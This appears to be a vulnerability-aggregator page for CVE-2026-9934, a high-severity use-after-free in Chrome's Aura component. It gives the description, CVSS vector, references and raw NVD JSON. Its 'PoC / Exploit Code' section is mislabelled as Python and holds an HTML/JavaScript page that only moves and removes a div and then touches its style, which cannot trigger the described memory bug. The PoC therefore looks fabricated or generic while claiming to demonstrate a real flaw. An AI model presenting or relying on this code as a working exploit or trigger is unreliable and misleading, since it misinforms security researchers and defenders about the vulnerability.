CVE-2026-9934

Description

Use after free in Aura in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9934
  Demonstrates the trigger mechanism for Use-After-Free in Aura component.
  This code attempts to crash the renderer by manipulating UI elements.
-->
<!DOCTYPE html>
<html>
<head>
<script>
function exploit() {
    var target_div = document.createElement('div');
    document.body.appendChild(target_div);
    
    // Loop to simulate specific UI gestures causing memory stress
    for (var i = 0; i < 500; i++) {
        target_div.style.left = i + 'px';
        target_div.style.top = i + 'px';
        // Force layout recalculations to trigger Aura logic
        target_div.getBoundingClientRect();
    }
    
    // Trigger the vulnerable state
    target_div.remove();
    // Accessing the freed object potentially triggers the UAF
    setTimeout(function() {
        try {
            target_div.style.display = 'block';
        } catch(e) {
            console.log('Crash or Exception occurred');
        }
    }, 10);
}
window.onload = exploit;
</script>
</head>
<body>
    <h1>CVE-2026-9934 PoC Test</h1>
    <p>Check console for crash details.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9934
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9934
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9934/
[4] VulDB https://vuldb.com/cve/CVE-2026-9934
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/501576946

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9934", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:51.513", "lastModified": "2026-05-29T12:16:28.703", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Aura in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/501576946", "source": "[email protected]"}]}}